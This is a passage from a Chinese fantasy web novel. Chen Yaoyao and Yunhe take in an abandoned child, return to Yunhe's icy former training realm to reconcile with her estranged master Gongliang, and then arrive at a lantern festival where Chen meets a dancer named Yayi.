第二天,城里出了事。
有人发现,那几个带头骂何是非的人,身后的章轴一夜之间全变成了黑色。
黑色的章轴,像烧焦的破布,散发着恶臭,那臭味像是什么东西烂了很久。上面那些字还在,但每一个字都像在滴血,血红血红的,触目惊心。
尖嘴猴腮的男人疯了,满街跑,边跑边喊:“不是我说的!不是我说的!我就是随口说说!我就是随口说说!”
妇人也疯了,跪在地上,不停地磕头,额头都磕破了,血流了一地:“我错了!我错了!求求你们别缠着我!我不是故意的!”
老者躺在地上,口吐白沫,抽搐不止,眼睛翻白,嘴里发出“嗬嗬”的声音。
街上的人远远围观,没有一个人上前。那些章轴在他们身后飘动,窸窸窣窣地响,像是在低声议论什么。
陈瑶瑶挤进人群,看见那些黑色的章轴,心里一惊。
她拉住旁边一个人问:“这是怎么回事?”
那人小声说,声音压得低低的,怕被听见:“章轴反噬了。他们说的话太毒,因果太重,章轴扛不住了。”
陈瑶瑶:“会怎样?”
那人摇头,一脸讳莫如深:“不知道。从没发生过这种事。在这儿活了这么多年,头一回见。听说章轴反噬,不死也要脱层皮。”
陈瑶瑶看着那几个在地上打滚的人,心里忽然涌起一种说不清的滋味。
她想起他们说的话——
“我们就是好心提醒。”
“他自己信了,怪我们?”
“一个巴掌拍不响。”
“他自找的。”
“优胜劣汰。”
现在,那些话变成了黑色的章轴,像锁链一样缠着他们,挣也挣不脱,甩也甩不掉。
她忽然想起云河说的:“每个人都要为自己的话承担因果。”
只是有些因果,来得晚一些。
傍晚,那三个人死了。
黑色的章轴勒断了他们的脖子,像三条绞索,齐齐整整地挂在那里。
街上的人议论纷纷,有的说活该,有的说可怜,有的说这是报应,有的说这是意外,有的说章轴疯了。
陈瑶瑶站在人群中,听着那些议论,忽然觉得很累。
她转身往回走。
走到半路,发财忽然“汪”了一声,扯着她的衣角往墙角拉。
陈瑶瑶低头,看见路边蹲着一个瘦小的身影。
是个孩子,七八岁,穿着破破烂烂的衣服,缩在墙角,小小的一团。他身后也飘着几根章轴,但那些章轴很干净,雪白雪白的,上面的字歪歪扭扭,像是刚学会写字的孩子写的——
“娘,我饿。”
“爹,别打我了。”
“姐姐,带我走。”
陈瑶瑶心里一酸,蹲下来,轻声问:“小朋友,你怎么一个人在这儿?”
那孩子抬起头,怯生生地看着她。
陈瑶瑶这才看清,他脸上有好几道淤青,嘴角也有伤,像是被人打的。
孩子小声说,声音细细的,像小猫叫:“我在等我娘。她说去买吃的,让我在这儿等着,哪儿都别去。”
陈瑶瑶:“等了多久了?”
孩子想了想,掰着手指头数:“很久了。太阳升起来三次,又落下去三次。我等了三个太阳。”
陈瑶瑶心里一紧。
她看向那些章轴——最旧的那根已经发黄了,边缘都卷起来了,上面写着“娘,我饿”,日期是三个月前。
三个月。
这孩子等了三个月。
陈瑶瑶眼眶一热,伸手想抱他。
孩子往后缩了缩,怯怯地看着她,小声说:“姐姐,你身上没有章轴,你不怕我沾上你的因果吗?”
陈瑶瑶愣住了。
她看着那孩子清澈的眼睛,那双眼睛里没有怨恨,没有委屈,只有一种小心翼翼的期待。
这孩子知道。
他知道自己被人抛弃了,知道别人都躲着他,知道那些章轴是他的负担,是他的罪过。
但他还是在这儿等着。
等他那个永远不会回来的娘。
陈瑶瑶一把抱起他:“不怕。因果算什么?姐姐带你走。”
孩子愣了愣,然后“哇”的一声哭出来,哭得撕心裂肺,像是把这三个月的委屈全都哭出来了。
发财在旁边,蹭了蹭他的腿,发出轻轻的呜咽。
陈瑶瑶抱着孩子回到客栈。
云河看见那孩子,目光动了动,落在他身后的章轴上。
陈瑶瑶把事情说了,然后问:“能带他走吗?”
云河沉默了一会儿,点头。
孩子躲在陈瑶瑶身后,偷偷看云河,又害怕又好奇。
云河忽然开口:“你叫什么名字?”
孩子小声说,声音细细的:“我叫……我叫小草。娘说,贱名好养活,叫小草就没人害我。”
云河点了点头,没再说话。
夜里,小草睡着了,蜷缩在床角,小小的一团,像一只受伤的小兽。
陈瑶瑶坐在他旁边,看着他的睡脸,忽然问云河:“他娘真的会回来吗?”
云河说:“不会。”
陈瑶瑶沉默了。
云河看着她,忽然问:“你知道他那些章轴上写的,都是什么吗?”
陈瑶瑶点头:“看见了。”
云河:“那些话,每一句都是他受过的苦。但他没有怨,只是在等。”
陈瑶瑶心里一酸。
云河说:“这个境里的人,怕因果,躲因果,结果因果越躲越重,像雪球一样越滚越大。这孩子,什么都不懂,什么都不怕,反而最干净。”
她顿了顿,轻声说:“有时候,干净的人,才能走得更远。”
第二天,她们准备离开。
城门口,那块石碑依然立着,那三个“慎言”依然醒目。
陈瑶瑶看着那块石碑,忽然问云河:“你说,那些骂何是非的人,如果知道自己说的话会变成黑色的章轴,会勒死自己,他们还会说那些话吗?”
云河没回答。
陈瑶瑶想了想,自己回答:“不会。但他们不会信的。他们只会觉得自己倒霉,赶上章轴发疯,赶上老天不长眼。”
云河看着她,目光里有一丝欣慰。
陈瑶瑶笑了笑,抱起小草,跟着云河走进城门外的灰雾里。
发财跟在后面,尾巴摇得很欢。
走出几步,陈瑶瑶忽然回头,看了一眼那座城。
城里的章轴还在飘,密密麻麻,像无数张嘴,在说着什么,骂着什么,怨着什么。
她收回目光,继续往前走。
灰雾渐渐吞没她们的身影。
新境的光落下来时,陈瑶瑶睁开眼。
小草还在她怀里,睡得很香,嘴角微微翘着,像是做了什么好梦。
发财蹲在她脚边,仰头看着她,眼睛亮亮的,尾巴一摇一摇。
云河站在前面,撑着白骨伞,看着远方。
阳光很好,照在身上暖洋洋的,照得人心里也暖洋洋的。
她忽然问:“云河,你说,何是非后来怎么样了?”
云河想了想,说:“也许他还会救人。也许不会再救了。但不管怎样,他不会后悔。”
陈瑶瑶点点头。
她低头看着怀里的小草,轻声说:“我也不后悔。”
云河没说话。
只是嘴角微微弯了一下,像是不容易被察觉的笑。
风吹过,带着花香,带着草香,带着阳光的味道。
陈瑶瑶深吸一口气,跟着云河往前走。
她知道,前面还有很长的路。
还有很多境,很多人,很多故事。
但她不怕。
因为她在学。
学着做一个撑伞的人。
14. 封禅
白骨伞撑开时,陈瑶瑶信心满满。
她已经用过一次了——那只黑猫“无着”从伞里跳出来的时候,她觉得自己简直是个天才。原来这伞也没那么难,只要用心听,就能听见需要帮助的人的声音,就能催动它。
所以这次,她主动请缨。
“我来!”她说,一把接过云河手里的白骨伞,闭上眼,开始“用心听”。
云河站在旁边,没说话,只是静静看着她。
发财趴在陈瑶瑶肩上,好奇地歪着脑袋。
陈瑶瑶听啊听。
听见风声,听见远处的鸟叫,听见自己的心跳,听见发财的呼噜声——就是没听见什么“需要帮助的人的声音”。
她睁开眼,有点尴尬:“好像……没听见。”
云河伸手:“我来吧。”
陈瑶瑶不甘心:“再试试!再试试!”
她又闭上眼,这次更用力地听,用力到眉头都皱成一团。
然后——
她听见了。
很轻,很远,像风吹过雪原的声音,又像冰层裂开的脆响。那声音里没有求救,没有哭泣,只有一种说不清的……空旷。
像是有人在等她。
又像是有人在赶她走。
陈瑶瑶睁开眼,一脸茫然:“我好像听见了,但……不像是求救。”
云河眉头微蹙:“听见什么?”
陈瑶瑶描述了一遍。
云河沉默了很久。
然后她叹了口气,那口气叹得很长,像是把十年的无奈都叹出来了。
陈瑶瑶紧张起来:“怎么了?我是不是闯祸了?”
云河看着她,目光复杂得像是看见了什么不该看见的东西。
“你打开了一个我本来再也进不去的地方。”她说。
陈瑶瑶:“啊?”
云河没再解释,只是接过白骨伞,撑开,迈步走进去。
陈瑶瑶抱着发财,赶紧跟上。
眼前一黑,再一亮。
陈瑶瑶冻得一哆嗦。
眼前是一片白。
白得刺眼,白得无边无际,白得让人怀疑自己是不是瞎了。
皑皑白雪覆盖了一切,远处是高耸入云的雪山,山峰隐没在云雾里,看不见顶。天空是浅蓝色的,蓝得像冰,没有一丝云彩。空气冷得发脆,吸进肺里像刀子割。
陈瑶瑶浑身发抖,牙齿打颤:“这……这是什么地方?”
发财从她怀里探出脑袋,被冷风一吹,整只狗僵住了,耳朵都竖不起来了,只能拼命往陈瑶瑶怀里钻。
云河站在雪地里,一动不动。
她抬头看着那座雪山,看着那些熟悉的山峰,看着那条通往山顶的、看不见的路。
很久很久,她才开口,声音很轻:“这里是我修行的地方。银素之巅,名封禅。”
陈瑶瑶愣住了。
她看着云河的侧脸——那张永远清冷的脸上,此刻有一种她从未见过的东西。不是恐惧,不是怀念,而是一种复杂的、说不清的情绪。
像是离家多年的游子回到故土,却发现故土已经不认识自己了。
“你修行的地方?”陈瑶瑶小心翼翼地问,“那……那不是很熟吗?你怎么这副表情?”
云河没回答。
只是转身,朝山上走去。
陈瑶瑶赶紧跟上。
她们走了很久。
雪很深,每一步都陷进去,拔出来,再陷进去。发财被陈瑶瑶抱着,倒是省了力气,但冷得直往她怀里拱,恨不得钻进她衣服里。
走到半山腰,出现一座桥。
水晶做的桥。
透明的,晶莹的,在阳光下闪着七彩的光。桥身很窄,只容一人通过,下面是万丈深渊,深不见底,只能看见雾气在下面翻涌。
陈瑶瑶站在桥头,腿有点软。
她低头看了一眼,赶紧缩回脖子:“这……这桥结实吗?”
云河没说话,踏上了桥。
她走得很稳,像是走过无数次。
陈瑶瑶深吸一口气,抱紧发财,跟上去。
桥面很滑,她每一步都小心翼翼的,生怕一脚踩空掉下去。发财吓得把脸埋在她怀里,不敢看。
走了一半,忽然听见一阵鸣叫。
陈瑶瑶抬头,看见一群白鹤从天边飞来,翅膀扇动,在阳光下闪着银光。它们绕着云河盘旋,发出清脆的鸣叫,叫声里透着亲昵。
有一只胆子大的,落在云河肩上,用脑袋蹭她的脸。
云河伸出手,轻轻摸了摸它的羽毛,嘴角弯了弯,那笑容很淡,却很真:“好久不见。”
白鹤又叫了一声,像是在回应。
陈瑶瑶看着这一幕,心里忽然有点酸。
这些白鹤还记得她。
它们不知道她这些年去了哪里,不知道她经历了什么,只是看见她回来,就高兴地围过来。
比人简单多了。
白鹤们盘旋了几圈,又飞走了,消失在雪山的方向。
云河看着它们远去,收回目光,继续往前走。
陈瑶瑶跟在后面,忽然问:“你离开很久了吗?”
云河:“十几年。”
陈瑶瑶倒吸一口凉气。
山顶到了。
一座巨大的宫殿矗立在眼前,全部由水晶打造,在阳光下熠熠生辉。重檐飞角,雕梁画栋,每一处都精致得像艺术品。宫殿门口立着两尊巨大的神兽雕像,也是水晶做的,栩栩如生,像是随时会活过来。
陈瑶瑶张大嘴巴,半天合不上:“这……这也太漂亮了吧?”
话音刚落,宫殿的门自动打开了。
两队人从门里走出来,分列两侧。
都是少女,十四五岁的样子,穿着雪白的貂毛衣裳,粉雕玉琢,眉眼如画。她们站得整整齐齐,双手交叠在身前,微微低着头,像是迎接什么重要的人物。
陈瑶瑶下意识往后退了一步,小声问云河:“这是……欢迎我们的?”
云河没说话。
一辆华轿从门里缓缓驶出。
拉车的是四只麋鹿,角上挂着冰晶,蹄子踏过的地方,地上开出一朵朵冰花。轿身也是水晶做的,缀满流苏,流苏也是冰晶,在风中叮当作响。
轿上坐着一个人。
一个美得不像话的人。
眉目清冷,眼若琉璃,皮肤白得近乎透明,像是冰雪捏成的。眉心一点冰蓝色的印记,像是第三只眼,又像是什么封印。她穿着一袭白衣,衣袍拖曳在轿上,和轿身融为一体。睫毛又长又密,像两把羽扇,低垂着,遮住了眼底所有的情绪。
陈瑶瑶看得有些痴了——这人长得跟神仙一样。
然后神仙开口了。
声音清冷如冰泉,不带一丝温度:“胆子越发肥了。带了什么脏东西回来?”
陈瑶瑶愣了一下,没反应过来。
云河微微侧身,把她和发财挡在身后,开口:“宫主,她们是我的朋友……”
话没说完。
一只丹顶鹤从旁边灰溜溜地垫着脚尖走过来,蹭了蹭那美人的衣角,又怯怯地看了看云河,那眼神像是在说:不是我带的,不是我。
陈瑶瑶这才意识到——
人家说的“脏东西”,是她自己。
她低头看了看自己:从雪地里爬出来的,身上沾着雪水和泥巴,头发乱成一团,怀里抱着一只冻得直哆嗦的狗。
再看看那些站得整整齐齐的少女,再看看那个美得像神仙一样的宫主。
确实挺脏的。
陈瑶瑶尴尬地笑了笑,正要开口解释——
那美人眼皮都没抬一下,长袖一挥。
动作轻描淡写,像是拂去衣袖上的一粒灰尘。
但那股力量排山倒海。
一股强风扑面而来,像无数只看不见的手,推着她们往后飞。云河只来得及伸手拉住陈瑶瑶,陈瑶瑶只来得及把发财死死搂在怀里——
一阵天旋地转。
等回过神来,她们已经躺在山脚下的雪地里了。
发财被冷风刺激到,倒在地上喘气,喘得整只狗都在抖。云河脸色煞白,顾不上自己,赶紧给它拍背、摸脖子、顺气。
陈瑶瑶摇了摇头,甩掉嘴里的雪,爬起来,忍不住吐槽:“哇,长得跟神仙一样,脾气这么暴躁?”
云河捂住她的嘴:“你长个脑子,一点不带动的?这是人家的地盘!”
陈瑶瑶缩了缩脖子,小声说:“哦……那既然人家不欢迎我们,我们走吧。”
云河看着她,那眼神像是在看一个傻子。
“进来容易出去难。”她说,“我上次花了十年才离开这里。”
陈瑶瑶愣住了。
十年?
她看了看四周的冰天雪地,看了看那座高耸入云的雪山,看了看山顶那若隐若现的水晶宫殿。
忽然觉得有点冷。
不是身上冷,是心里冷。
“那……那怎么办?”她问。
云河沉默了一会儿,才说:“我本来想直接带你去找宫主,看有没有机会能商谈一下,绕过关卡。看来是不行了。”
陈瑶瑶:“什么关卡?”
云河没回答。
只是看着那座雪山,目光悠远,像是在看很久很久以前的事。
发财缓过来了,在陈瑶瑶怀里拱了拱,发出委屈的呜咽。
陈瑶瑶抱着它,坐在雪地里,看着云河。
云河沉默了很久,终于开口。
“那位宫主,有个名字,叫宫良。”她说,“她不是这个境的人,是从外面被流放进来的。”
陈瑶瑶:“流放?”
云河点头:“那时候,这个境什么都没有。只有冰雪,只有雪山,只有无尽的寒冷。没有一个活物,连草都没有。”
她顿了顿,继续说:“她一个人,赤手空拳,用冰块造了一座宫殿。”
陈瑶瑶瞪大眼睛。
云河:“刚开始只有三人那么大。她住在里面,日复一日,年复一年。后来她把自身的力量注入宫殿,让它生了灵智。宫殿活了,开始自己生长,自己扩大,自己催发周围的植物。渐渐地,有了草,有了树,有了动物,有了那些白鹤。”
陈瑶瑶听得入神。
云河:“我十几年前被关进来的时候,宫殿已经很大了,在山腰上。她收我做了徒弟。”
陈瑶瑶:“徒弟?”
云河点头:“她教我破除封禅境的险恶之地,教我怎么找到那些隐藏的灵宝,教我怎么用那些灵宝喂养宫殿。我跟着她,一点一点,把宫殿喂大了。最后,它占据了整个封禅境,成了这里的主人。”
她说到这里,停了一下。
陈瑶瑶等着她继续。
云河:“我那时候年轻,不懂事。以为帮她做到了这一切,就可以离开了。”
陈瑶瑶:“然后呢?”
云河看着远处,目光里有一丝说不清的东西:“她不让我走。”
陈瑶瑶愣住了。
云河:“她翻脸了。收回她教给我的所有灵能,把我丢进炼骨境。说那是打磨我,让我变得更强大。但我知道,她只是想困住我。”
陈瑶瑶张了张嘴,不知道该说什么。
云河继续说:“她没想到的是,我靠自己捅破了那个境。还炼出了一把伞——白骨玄机伞,能通往任何地方的伞。”
她低头看着手里的白骨伞,目光复杂:“从那以后,天地之间,再也没有能困住我的境了。”
陈瑶瑶忽然明白了。
“所以……她恨你?”她问。
云河沉默了一会儿,才说:“不知道。恨也好,不恨也好,她让我发过誓,若是再入境,有死无生。”
陈瑶瑶心里一紧。
云河看着她,忽然笑了,那笑容很苦:“我本来设定了禁止入封禅境。只要我不愿意,白骨伞就不会带我来这里。”
她顿了顿,轻声说:“谁知道你能引动白骨伞,打开我的禁制。”
陈瑶瑶傻眼了。
她想起自己刚才“用心听”时听见的那个声音——那个空旷的、像冰裂开一样的声音。
那不是求救。
那是……
那是宫良在赶她走?
还是在等她?
她不知道。
但她知道,她们现在麻烦了。
夜幕降临。
雪山在月光下泛着幽幽的蓝光,山顶的水晶宫殿灯火通明,像一颗巨大的星星落在山上。
陈瑶瑶抱着发财,缩在一块大石头后面,冻得直哆嗦。
云河站在旁边,看着山顶的灯火,不知道在想什么。
发财忽然“汪”了一声。
陈瑶瑶低头,看见它正盯着一个方向——雪地里,有什么东西在动。
是一只丹顶鹤。
就是白天那只灰溜溜的、垫着脚尖走路的丹顶鹤。
它迈着小碎步,一步三回头,鬼鬼祟祟地朝她们走过来,像是怕被人发现。
走到近前,它停下来,歪着脑袋看着她们,然后张开嘴,“哇”地叫了一声。
一个东西从它嘴里掉出来,落在雪地上。
是一块玉佩。
冰蓝色的,晶莹剔透,上面刻着一个“良”字。
云河看着那块玉佩,脸色变了。
她蹲下来,捡起玉佩,握在手心。那玉佩带着一丝温热,像是在谁怀里焐了很久。
丹顶鹤看着她,又“哇”地叫了一声,然后转身,一溜烟跑没影了。
陈瑶瑶凑过来,小声问:“这是什么?”
云河沉默了很久,才说:“她的信物。”
陈瑶瑶:“什么意思?”
云河:“有这个,可以过第一道关卡。”
陈瑶瑶眼睛一亮:“那她是不是不生气了?”
云河摇头,目光复杂:“不知道。”
她看着手里的玉佩,看着那个“良”字,忽然想起很多年前的事——
那时候宫殿还小,只有三人那么大。她和宫良挤在里面,晚上睡觉的时候,宫良会把唯一的被子让给她,自己缩在角落,用灵力取暖。第二天醒来,她问宫良冷不冷,宫良只是面无表情地说:“我不怕冷。”
那时候宫良教她破除险境,每次她受伤,宫良都会骂她“蠢货”,骂得很难听,然后亲手给她包扎,动作却很轻,轻得像怕弄疼她。包扎完还要补一句:“下次再受伤,就别回来了。”
那时候她学会了炼灵,第一次成功的时候,兴奋地跑去找宫良。宫良看着她,嘴角动了动,像是想笑,又硬生生压下去了,最后只憋出一句:“还行。”然后转身走了。但她看见宫良走的时候,脚步比平时轻快。
后来她要走。
宫良站在宫殿门口,脸上没有表情,眼睛却红了一瞬。只是一瞬,快得像是看错了。
“你走吧。”她说,声音和平时一样冷,“走了就别回来。”
云河那时候不懂,头也不回地走了。
走了很远,她忍不住回头看了一眼。
宫良还站在那里,雪白的衣袍在风中飘动,像一座永远不会动的冰雕。
现在她懂了。
宫良不是不想让她走,是怕她走了之后,再也不会回来。
她怕一个人。
那些年,她一个人用冰块造宫殿,一个人等生灵苏醒,一个人熬过无数个漫长的夜晚。
好不容易等来一个人。
又走了。
云河握紧玉佩,那温热的触感像是还在宫良手心里焐着。
陈瑶瑶看着云河的表情,小心翼翼地问:“你……在想什么?”
云河回过神,把玉佩收起来:“没什么。走吧,过第一道关卡。”
第一道关卡在半山腰,是一座冰桥。
桥边守着两个冰雕一样的少女,正是白天站门口的那两个。她们看见云河,面无表情,像是什么都没发生过。
云河拿出玉佩。
两个少女看了一眼,点点头,让开身。
陈瑶瑶跟着云河走过冰桥,忍不住回头看了一眼——那两个少女又恢复了雕像一样的姿势,一动不动。
第二道关卡在更高处,是一道冰门。
门边也守着两个少女,同样面无表情。
云河拿出玉佩。
她们看了,也点点头,打开了门。
第三道关卡在山顶,宫殿门口。
那两尊巨大的神兽雕像活了,低下头,用巨大的眼睛盯着她们。
云河拿出玉佩。
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>神兽看了一眼,又看了云河一眼,那眼神里像是有什么东西。然后它们退后,让出了路。
宫殿的门开了。
里面灯火通明,却空无一人。
只有那辆华轿停在殿中央,轿上坐着宫良,像白天一样,眉目清冷,眼若琉璃。睫毛低垂着,遮住了眼底所有的情绪。
她看着云河,又看看她手里的玉佩。
很久很久,她才开口,声音还是那样冷:“还知道用玉佩?我以为你早忘了怎么进门。”
云河站在那里,不知道该说什么。
宫良从轿上站起来,一步步走过来。
她走得很慢,衣袍拖曳在地上,发出细微的沙沙声。每一步都像是踩在刀尖上,却又稳得像永远不会摔倒。
走到云河面前,她停下。
很近,近得能看见她睫毛上凝着的细小冰晶。
她看着云河,很久很久。
然后她抬手,轻轻摸了摸云河的脸。
那动作很轻,像是怕碰碎了什么。
“瘦了。”她说,声音还是冷的,但指尖在微微发抖。
云河眼眶忽然有些发热。
她低下头,不说话。
宫良又看向陈瑶瑶,看向她怀里的发财。
发财缩在陈瑶瑶怀里,瑟瑟发抖。
宫良看着它,嘴角忽然动了动,像是想笑,又硬生生压住了。最后只憋出一句:“这狗倒是挺肥。”
发财打了个喷嚏。
陈瑶瑶紧张得不敢动。
宫良收回目光,转身走回轿上,坐下,恢复了那副清冷的模样。
“既然来了,就住几天吧。”她说,眼睛却不看云河,只看着自己袖口的冰晶,“走的时候,把玉佩留下。”
云河抬起头,看着她。
宫良没再说话,只是挥了挥手。
那些少女从四面八方涌出来,带着她们去休息。
陈瑶瑶抱着发财,跟着走,走出几步,忍不住回头看了一眼。
宫良还坐在轿上,看着她们。
那目光和白天不一样。
那目光里有一种很奇怪的东西——像是舍不得,又像是在说:这次走了,就别再回来了。两种情绪搅在一起,搅成一团乱麻,搅成她眼底那一闪而过的光。
陈瑶瑶忽然觉得,这个宫主,没有看起来那么冷。
那天夜里,云河睡不着,走出房间。
雪地里,月光很亮。
她一个人站着,看着那座水晶宫殿,看着那些在月光下闪光的冰晶。
身后传来脚步声。
很轻,像是怕惊动什么。
她没有回头。
脚步声在她身后停下。
很久很久,没人说话。
然后宫良的声音响起,还是那样冷,却带着一丝说不清的东西:“这些年,在外面野够了?”
云河回过头。
宫良站在不远处,月光照在她身上,照得她整个人都在发光。她脸上没有表情,但眼睛里有东西在翻涌——像冰层底下的暗流,看不见,但知道它在那里。
云河看着她,忽然问:“你当年,为什么把我丢进炼骨境?”
宫良没说话。
云河继续问:“是想打磨我,还是想困住我?”
宫良沉默了很久。
然后她开口,声音很轻,轻得像怕被风吹散:“都有。”
云河愣住了。
宫良看着她,眼睛里的暗流终于涌上来,涌成一点点光:“我想让你变强,强到谁也伤不了你。又想让你出不来,这样你就永远在我身边。”
她顿了顿,声音里忽然有了一丝沙哑:“我是不是很自私?”
云河站在那里,心里像有什么东西在翻涌。
她想起那些年,想起那些日夜,想起宫良教她的一切,想起那个把被子让给她的夜晚,想起那些骂她“蠢货”却下手很轻的包扎。
她忽然明白了。
宫良不是恨她,是舍不得她。
只是不会说。
那些年的冷言冷语,那些年的严苛要求,那些年的不近人情——全都是因为不会说。
云河走上前,轻轻抱住她。
宫良僵住了。
整个人像一块冰雕,一动不动。
然后,云河感觉到有什么东西落在自己肩上。
温热的。
一滴,两滴。
宫良的肩膀在微微发抖。
云河抱紧她,不说话。
很久很久,宫良才抬起手,轻轻拍了拍云河的背。那动作很轻,像是怕拍碎了什么。
“走吧。”她说,声音有些哑,却还是努力维持着那副冷冰冰的调子,“这次,我不拦你。”
云河抱紧她,不说话。
月光照在雪地上,照在两个相拥的人身上。
远远的,陈瑶瑶趴在窗户上,看着这一幕,眼眶也有些发热。
发财趴在她旁边,轻轻地“呜”了一声。
陈瑶瑶摸了摸它的脑袋,小声说:“发财,你说,那个宫主,是不是一直在等她回来?”
发财歪了歪头,没有回答。
但陈瑶瑶知道,是的。
等了十几年。
终于等到了。
离开那天,天很晴。
云河站在宫殿门口,手里握着那块玉佩。
宫良站在轿上,看着她。
阳光照在她身上,照得她整个人都在发光。她脸上没有表情,眼睛里的暗流却藏也藏不住——翻涌着,激荡着,像是随时会冲出来。
“玉佩留下。”她说,声音冷得像冰。
云河走上前,把玉佩递给她。
宫良接过,握在手心。
云河看着她,忽然问:“你……会一直在这里吗?”
宫良愣了一下。
然后她别过脸,不看云河:“不然呢?我去哪儿?”
云河笑了。
那笑容很暖,像是冰封多年的湖面,终于裂开了一道缝。
她转身,带着陈瑶瑶和发财,朝山下走去。
走出很远,她回头看了一眼。
宫良还站在轿上,望着她的方向。
雪白的衣袍在风中飘动,像一只永远不会飞走的鸟。
她的脸上还是没有表情,但她的手紧紧攥着那块玉佩,攥得指节发白。
云河挥了挥手。
宫良没动。
但云河知道,她在看。
一直在看。
直到她们消失在雪山的那一头。
走出封禅境的那一刻,陈瑶瑶长长地吐了口气。
“终于出来了。”她说,“冻死我了。”
发财也吐了口气,整只狗瘫在她怀里。
云河站在旁边,看着手里的白骨伞,不知道在想什么。
陈瑶瑶凑过去,小声问:“你……还好吗?”
云河回过神,点点头。
陈瑶瑶犹豫了一下,还是问:“那个宫主……她真的那么厉害吗?一个人,用冰块造了一座宫殿?”
云河沉默了一会儿,才说:“她比你们看见的厉害得多。”
陈瑶瑶:“那她为什么不走?”
云河看着她,目光里有一丝说不清的东西:“有些人不走,不是因为走不了,是因为不想走。”
陈瑶瑶愣住了。
云河继续说:“她可以离开这里,但她选择留下。因为她在这里造了一个家,不想再换了。”
陈瑶瑶忽然懂了。
她想起宫良看云河的眼神,想起那块被攥得发白的玉佩,想起那个拥抱,想起那些落在肩上的眼泪。
那个家,不只是那座宫殿。
还有云河。
她等了十几年,终于等到了。
陈瑶瑶心里有些酸,又有些暖。
她看着云河,认真地说:“以后,我们常来看她吧。”
云河看着她,目光动了动。
然后她点点头,嘴角弯了弯:“好。”
阳光照在她们身上,暖洋洋的。
陈瑶瑶抱着发财,跟着云河,走进下一个境。
身后,那座雪山还立在那里,山顶的宫殿还在发光。
像一颗永远不落的星星。
15. 人间境
白骨伞撑开的时候,陈瑶瑶还以为自己听错了。
那声音和以往都不一样——不是求救,不是哭泣,不是那些沉重的、压得人喘不过气来的东西。而是一种轻快的、跳跃的、像小孩子踩着水坑玩的声音。
啪嗒。啪嗒。啪嗒。
陈瑶瑶睁开眼,看向云河。
云河抱着发财,神情有些蔫蔫的,像是没睡醒。自从离开封禅境,她就一直这样,时不时走神,时不时发呆,时不时看着某个方向愣半天。
陈瑶瑶知道她在想什么,也不戳破。
“这声音……”陈瑶瑶迟疑道,“好像不太一样?”
云河回过神来,侧耳听了听,眉头微微一动。
“是人间境。”她说。
陈瑶瑶一愣:“人间境?那不是……”
她顿住了。
人间境,云河来的地方。那个她曾经是“元君”、后来被石头砸出去的地方。
云河沉默了一会儿,才开口:“去吧。既然伞开了,就去看看。”
她说完,抱着发财,先一步走进伞里。
陈瑶瑶赶紧跟上。
眼前一黑,再一亮。
陈瑶瑶被眼前的景象惊呆了。
满街的灯。
红的、黄的、粉的、绿的,各种各样的灯挂在屋檐下、树梢上、竹竿顶。最惹眼的是那些鱼灯——用竹篾扎成骨架,糊上薄薄的绢纱,画上鱼鳞纹,点上蜡烛,活灵活现地在夜色里游动。
一条、两条、三条……无数条鱼灯连成一条长龙,蜿蜒着穿过街道,远远看去,真像一群发光的鱼在夜空中游弋。
街上人山人海,摩肩接踵。有抱着孩子的妇人,有牵着手的年轻男女,有举着糖葫芦跑过的小孩,有踮着脚尖往前挤的老人。每个人脸上都带着笑,每个人的眼睛都被那些鱼灯照亮。
陈瑶瑶站在人群里,愣愣地看着这一切。
她很久没有见过这么多人了。
德德镇人少,荒凉。那些境里,要么是受苦的人,要么是疯狂的人,要么是麻木的人。没有这样热闹的、鲜活的、热气腾腾的人群。
有人从她身边挤过,不小心踩了她的脚,回头说“对不起”,然后被人潮推着往前走了。
有人举着一串糖葫芦从她面前跑过,糖葫芦的香味钻进鼻子里,甜丝丝的。
有人在她旁边大声说笑,说今年的鱼灯比往年更好看,说前面那个跳舞的姑娘真厉害,说等会儿要去吃汤圆,说元宵节就是要这样热热闹闹的。
陈瑶瑶站在那里,听着那些声音,看着那些脸,忽然觉得眼眶有点热。
这就是活着的感觉吗?
她扭头找云河,发现云河站在不远处,抱着发财,也在看着那些鱼灯。发财从她怀里探出脑袋,眼睛被灯光照得亮晶晶的,好奇地东张西望。
云河的脸上没有什么表情,但陈瑶瑶看见她的眼睛里有光在闪。
是那些鱼灯照的。
还是别的什么?
陈瑶瑶不知道。
但她知道,这一刻,云河也在看着这个她曾经离开的地方。
人群忽然骚动起来。
“来了来了!鱼灯舞开始了!”
“快看快看!最前面那个!”
陈瑶瑶踮起脚尖,往前望去。
鱼灯长龙的最前端,一个红色的身影正在起舞。
那人穿着一身红衣,腰缠彩带,手里举着一盏最大的鱼灯。那鱼灯在夜空中划出一道道弧线,彩带随着舞动飘飞,整个人像一团燃烧的火焰,又像一只翩翩起舞的蝴蝶。
人群发出阵阵欢呼。
陈瑶瑶被那身影吸走了所有的目光。
那人动作轻盈,灵活,在那些鱼灯之间穿梭,时而旋转,时而跳跃,时而俯身,时而仰首。那些鱼灯像是活了一样,跟着她的节奏游动,一条接一条,一圈接一圈,汇成一条流动的光河。
陈瑶瑶忍不住往前挤,挤过人群,挤过街角,一路追着那红色的身影跑。
鱼灯长龙游过一条街,又一条街。
陈瑶瑶追过一条街,又一条街。
等她回过神来,鱼灯舞已经结束了,人群渐渐散去,而她站在一个陌生的院子里,四周堆满了鱼灯道具,几个穿着同样衣服的人正在收拾东西。
那个红色的身影站在不远处,正在解腰间的彩带。
陈瑶瑶愣住了。
她跟到人家团里来了。
那红衣人听见脚步声,回过头来。
陈瑶瑶这才看清——是个少女,面容清秀,眉眼弯弯,带着几分雌雄莫辨的俊俏。头发扎成高高的马尾,额前几缕碎发被汗水打湿了,贴在脸颊上。
她看见陈瑶瑶,愣了一下,然后笑了。
那笑容干净得像刚下的雪。
“你好呀!”她说,声音清脆,“我叫芽衣。很高兴认识你。”
陈瑶瑶站在那里,看着她伸出来的手,忽然有些紧张。
这是她第一次主动交朋友。
在德德镇,她没有朋友。那些境里,她遇到的人,要么是受苦的,要么是离开的,要么是再也见不到的。没有人像这样,站在她面前,笑着说“很高兴认识你”。
她忐忑地伸出手,握住芽衣的手。
那只手很暖,带着刚跳完舞的热度。
“我叫陈瑶瑶。”她说。
芽衣笑得更灿烂了:“瑶瑶?好听!你是来看鱼灯舞的吗?喜欢吗?”
陈瑶瑶点头,用力点头。
芽衣眼睛亮了:“太好了!我跳得好不好?”
陈瑶瑶又点头。
芽衣高兴得跳起来,彩带都差点掉了:“哎呀太好了!今天是我第一次领舞,我紧张死了,生怕跳砸了!你说好,那我就放心了!”
